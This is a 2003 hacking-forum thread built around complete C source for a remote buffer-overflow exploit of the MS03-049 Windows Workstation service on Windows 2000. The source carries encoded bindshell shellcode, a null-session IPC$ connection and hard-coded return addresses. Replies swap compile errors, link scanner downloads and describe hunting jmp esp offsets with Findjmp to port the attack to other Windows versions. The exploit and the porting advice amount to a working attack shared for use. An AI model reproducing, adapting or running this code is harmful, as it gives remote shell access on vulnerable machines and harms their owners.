hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Pages: 1, 2
GaLiaRePt
Windows Workstation ms03-049 remote exploit for w2k&fat
Date: 2003-11-13

Author : Hanabishi
Download : http://www.security-corporation.com/downlo.../ms03-049-w2k.c

CODE
#include <windows.h>
#include <lm.h>
#include <stdio.h>
#include <string.h>
//#include <winsock.h>


typedef int (*MYPROC)(LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, ULONG);


#define SIZE 2048

#pragma comment(lib,"mpr.lib")
//#pragma comment(lib,"netapi32.lib")
#pragma comment(lib,"Ws2_32.lib")
//#pragma comment(lib,"user32.lib")

unsigned char shellcode[] =
/* bindshell no RPC crash, defineable spawn port */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\xdd\x5a\x60\xdf\xda\x8a\x81"
"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";


int main(int argc,char ** argv)
{
int ret=0;
HINSTANCE hInstance;
MYPROC procAddress;
char szBuffer[SIZE];
NETRESOURCE netResource;
int i=0;

unsigned short lportl=1234; /* drg */
char lport[5] = "\x00\xFF\xFF\x8b"; /* drg */

char host[30];
LPSTR hostipc[40];
LPWSTR hostl[60];
if(argc<2) {
printf("Windows Workstation ms03-049 wkksvc.dll buffer overflow \
\nbug discoveried by eEye,code by Hanabishi,shellcode by oc.192 \n \
Modified by sbaa(sbaa@163.net) 2003/11/14 ver 0.1\n \
Usage: %s IP \n \
nc Ip 1234\n",argv[0]);
printf("");
return 0;
}
sprintf(host,"\\\\%s",argv[1]);
sprintf((char *)hostipc,"%s\\ipc$",host);

netResource.lpLocalName = NULL;
netResource.lpProvider = NULL;
netResource.dwType = RESOURCETYPE_ANY;
netResource.lpRemoteName=(char *)hostipc;
// "\\\\192.168.6.7\\ipc$";



ret = WNetAddConnection2(&netResource, "", "", 0); // attempt a null session
if (ret != 0)
{
fprintf(stderr, "[-] WNetAddConnection2 failed\n");
// return 1;
}


hInstance = LoadLibrary("netapi32");
if (hInstance == NULL)
{
fprintf(stderr, "[-] LoadLibrary failed\n");
return 1;
}


procAddress = (MYPROC)GetProcAddress(hInstance, "NetAddAlternateComputerName"); // up to you to check NetAddAlternateComputerName
if (procAddress == NULL)
{
fprintf(stderr, "can't find NetAddAlternateComputerName (you are not xp(2003)) \n");
// return 1;
procAddress = (MYPROC)GetProcAddress(hInstance, "NetValidateName"); // up to you to check NetAddAlternateComputerName
if (procAddress == NULL)
{
fprintf(stderr, "can't find NetValidateName!\n");
return 1;
}
}


memset(szBuffer, 0x90, sizeof(szBuffer));
/*
for( i=0;i<SIZE-4;i=i+4)
{

if((i+i/256)%256!=0) memset(szBuffer+i,i+i/256,1);
if((i+1)%256!=0) memset(szBuffer+i+1,i+1,1);
if((i+2)%256!=0) memset(szBuffer+i+2,i+2,1);
if((i+3)%256!=0) memset(szBuffer+i+3,i+3,1);
}
*/
lportl=htons(lportl);
memcpy(&lport[1], &lportl, 2);
*(long*)lport = *(long*)lport ^ 0x9432BF80;
memcpy(&shellcode[471-48],&lport,4);
memcpy(szBuffer, shellcode, sizeof(shellcode) - 1);


memcpy(szBuffer+1851,"\x1b\x4a\xfa\x7f",4);
memcpy(szBuffer+2017,"\x1b\x4a\xfa\x7f",4);

szBuffer[SIZE-1]=0;

MultiByteToWideChar(CP_ACP, NULL, host, -1, (unsigned short*)hostl,60);

try{
ret = (procAddress)((LPCWSTR)hostl, (LPCWSTR)szBuffer, NULL, NULL, 0);

}

catch(...)
{

}

//ret=NetValidateName(hostl, szBuffer, NULL, NULL, 0);

printf("%d\n",ret);
WNetCancelConnection2(netResource.lpRemoteName, 0, TRUE);
FreeLibrary(hInstance);
return 0;
}
Killahbee
hope I've some luck compiling this one!!
Schmiel
Compiled with Visual C, no error codes due compiling and builidng but an error while using the code. I've checked the code but can't find a explaination for it..
Hope someone else will.

Good luck all smile.gif


tolf
Is this code still for 2000 SP4 FAT?
Schmiel
QUOTE
Windows Workstation ms03-049 remote exploit for w2k&fat


Think so tongue.gif
tolf
wacko.gif oops
ivan288
can anyone compile??
dozolax
couldnt compile
KoNh
QUOTE (ivan288 @ Nov 19 2003, 03:36 PM)
can anyone compile??

am waiting to see how long u will last over here ^^ that's my new game
Diablotic
Is it good? If yes please compile it for us.
Barvaz88
compiled, posting it now in File Downloads.
XtrA
hmm im new here..
can u give me direct line to this section?
File Download..
thanks
x1`
u need 50 posts before the download section appears smile.gif
just to let u know
x1`
heres the scanner for the exploit , x-scan 5 with ms03-049 scanner plugin
http://down.77169.com/
Diablotic
Um sorry but i dont understand chinesse, can you give me a link to scaner, eploit also needed smile.gif
X-FloppY
hmm let me try compiling this one if i can make it i'll post
Fareway
thx - compiled by myself until i have access to the download section
Fareway
compiled well but there is a flaw in the code. It don't work because of an error while executing the exploit. Don't know where the error is because my c++ is not that good.
Axl
QUOTE (Diablotic @ Dec 20 2003, 06:27 PM)
Um sorry but i dont understand chinesse, can you give me a link to scaner, eploit also needed smile.gif
Fareway
thx QuantumTopology for the translation but i think the download doesn't work at all. First you need to enter www.77169.com directly without a translater to get the download working but there is a problem with the server. Try again later.

Maybe someone can upload it directly to this place!

Regards
zero-maitimax
this is de normale link http://www.77169.com/Soft_Show.asp?SoftID=374

but i olso can't download it.
psycho-lvlantis
you have to follow this way :

enter in the site here : http://down.77169.com/

after go to: http://down.77169.com/Soft_NewElite.asp (clic on the green link in the top of the page on your right)

after select your program

and clic on the link to download it

wink.gif
xaph
got the same problem! This super chineesee site is so fast ... ;-)!

FTP Mirrors are down, can't connect!

Can someone upload x-scan v.5 mb here`?
gospel
Exploit @ http://www.k-otik.com/exploits/11.12.MS03-049PoC.c.php

Here it says *(unsigned int *)(&szBuffer[2017]) = 0x74fdee63;
// eip (jmp esp @ msafd.dll, useopcode search engine for more, but
// be aware that a call esp willchange the offset in the stack)

Must use the offset suitable for ur windows version(lang, 2k or xp & SPs) instead of 0x74fdee63.
The exploit says u can obtain the offset if u find the memory address for "jmp esp" in msafd.dll. For that, u can use a tool called FINDJMP (http://www.i2s-lab.com/Free-Tools/Findjmp.exe)

Example->

C:\Findjmp msafd.dll esp

Scanning msafd.dll for code useable with the esp register
0x77E42C75 jmp esp
0x77E44A50 jmp esp
Finished Scanning msafd.dll for code useable with the esp register
Found 2 usable addresses

However, this only works on Win2k. If u do the same on a WinXP, it wont find any address for "jmp esp" in msafd.dll. (dlls are different in different Windows versions) U can also check metasploit.com and see that WinXp gets no memory address for "jmp esp" in msafd.dll.

So, i was wondering which *.dll in my WinXp could i use in order to finding the memory address for "jmp esp" so i can use it as the offset in this exploit??
Then, it was told me to use wkssvc.dll instead for WINXP.

This is what i get wit findjmp on my wkssvc.dll:

c:\findjmp wkssvc.dll esp
Scanning wkssvc.dll for code useable with the esp register
0x75109975 push esp - ret
0x7511A747 jmp esp
0x7511C890 push esp - ret
Finished Scanning wkssvc.dll for code useable with the esp register
Found 3 usable addresses

So, in the exploit code, i should write the 0x7511A747 directly in this line:

*(unsigned int *)(&szBuffer[2017]) = 0x7511A747;
// eip (jmp esp @ msafd.dll, useopcode search engine for more, but
// be aware that a call esp willchange the offset in the stack)

and it'd work, uh?????????????????

Looking at the exploit code... i changed the three 0.0.0.0 ips into 127.0.0.1 so i'd see the results on my XP.

Ok...... after compiling and linking wit mpr.lib (=mprlib.a) an error occurs during the exploit execution, a new windows appears showing this message:


***********************************
Microsoft Visual c++ Debug Library

Debug Error!

Program: c:\xploit.exe
Module:
File: i386\chkesp.c
Line: 42

The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared with a different calling convention.

Anular, Reintentar, Omitir

***********************************

Ahhh... the shellcode works, it opens a 5555 port and u can connect remotely with telnet or nc. However, my whole exploit execution doesnt get a new shell even open 5555 on my XP sad.gif

Any ideas??

PD: I know for sure that this exploit works on a Win 2k sp4, so all i wanted was changing the offset for my Win Xp nosp instead!!!! For now, i'm not sure if this exploits runs on a WinXp cause its said that wkssvc.dll vuln. exploits are for Win2k + FAT32!! Anybody can confirm that this exploit runs on WinXp for sure??


Salu2
FakoLy
thanx for this exploit compiled it succefully with visual C smile.gif
the
QUOTE (Dickybob20 @ Dec 20 2003, 06:13 PM)
heres the scanner for the exploit , x-scan 5 with ms03-049 scanner plugin
http://down.77169.com/

thx for the link dude
canardwc
thanks for the link also (scan exploit)
[Ripper]
gonna give the scanner a try
thx mate wink.gif

...will also have a look at the exploit code
Neo2k
Does this exploit really works fine ? Because i've compiled it without errors but no results ...
Jimbras
Nice. gonna check it out. Hopinh with sucess smile.gif
ganz2
very nice
maru
uhm,... you need a password if you want to unpack it. anyone got this?
xriddle
B.T.W.

The Pass is www.77169.com

And be careful my AV dectected an IRC Trojan Virus on one of the files.

zero-maitimax
QUOTE (xriddle @ Dec 29 2003, 02:45 PM)
B.T.W.

The Pass is www.77169.com

And be careful my AV dectected an IRC Trojan Virus on one of the files.

that's becaurs he use the same string to search for the exploit..
BillyJawz
QUOTE
The exploit says u can obtain the offset if u find the memory address for "jmp esp" in msafd.dll. For that, u can use a tool called FINDJMP (http://www.i2s-lab.com/Free-Tools/Findjmp.exe)


Thanks i didnt knew that tool..hope will help finding new offsets.
gospel
De nada BillyJawz!! This tool (findjmp) helped me a lot when i needed to get the offsets. At least, US guys can search them in metasploit, but i cant find there the offsets for my Win Spanish....

salu2
SSlot
This exploit looks promising, is the code clean ?
PowerOn
i cant compile...
any idea if this code is clean??
gamesen
compiled succesfull althrou seems to be missing something..
loco
cant compile with vis c ;
esorone
Me ether,
I cant compile it with vc++ :-(((

Hopefully i find a compled one.

Greetz blink.gif
Photon
compiled it with no problem where's the attack button?
welldone
i search MS03-049 exploit by sbaa [v0.2].....any info?
adenek
thx a lot
Can somone compile it please

Viechnuss
I got errors by compiling this sploit:

gcc.exe -c wks_3.c -o wks_3.o -I"c:/Dev-Cpp/include"

wks_3.c: In function `main':
wks_3.c:152: warning: passing arg 2 of `MultiByteToWideChar' makes integer from pointer without a cast
wks_3.c:154: `try' undeclared (first use in this function)
wks_3.c:154: (Each undeclared identifier is reported only once
wks_3.c:154: for each function it appears in.)
wks_3.c:154: parse error before '{' token
wks_3.c: At top level:
wks_3.c:159: ISO C requires a named argument before `...'

wks_3.c:166: parse error before string constant
wks_3.c:166: warning: conflicting types for built-in function `printf'
wks_3.c:166: warning: data definition has no type or storage class
wks_3.c:167: parse error before '.' token
wks_3.c:167: conflicting types for `WNetCancelConnection2A'
c:/Dev-Cpp/include/winnetwk.h:252: previous declaration of `WNetCancelConnection2A'
wks_3.c:167: warning: data definition has no type or storage class
wks_3.c:168: warning: parameter names (without types) in function declaration
wks_3.c:168: warning: data definition has no type or storage class
wks_3.c:169: parse error before "return"

make.exe: *** [wks_3.o] Error 1

Execution terminated
Yellow_Blue
w00t #@!#!@#
cool exploit but who compile it ? ?
kebab1701
hmm i'll have to check this one smile.gif
hitu
QUOTE (gospel @ Dec 27 2003, 02:57 AM)
***********************************
Microsoft Visual c++ Debug Library

Debug Error!

Program: c:\xploit.exe
Module:
File: i386\chkesp.c
Line: 42

The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared with a different calling convention.

Anular, Reintentar, Omitir

***********************************

same error here sad.gif .. m on WinXP (SP1) too .. i think it doesn work on XP dry.gif
nolimit
thier is another version of this exploit that isn't file system dependent for XP, search the forum.
This exploit would be awesome if it wasn't only FAT, any decent server uses NTFS.
welldone
sad.gif blah
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.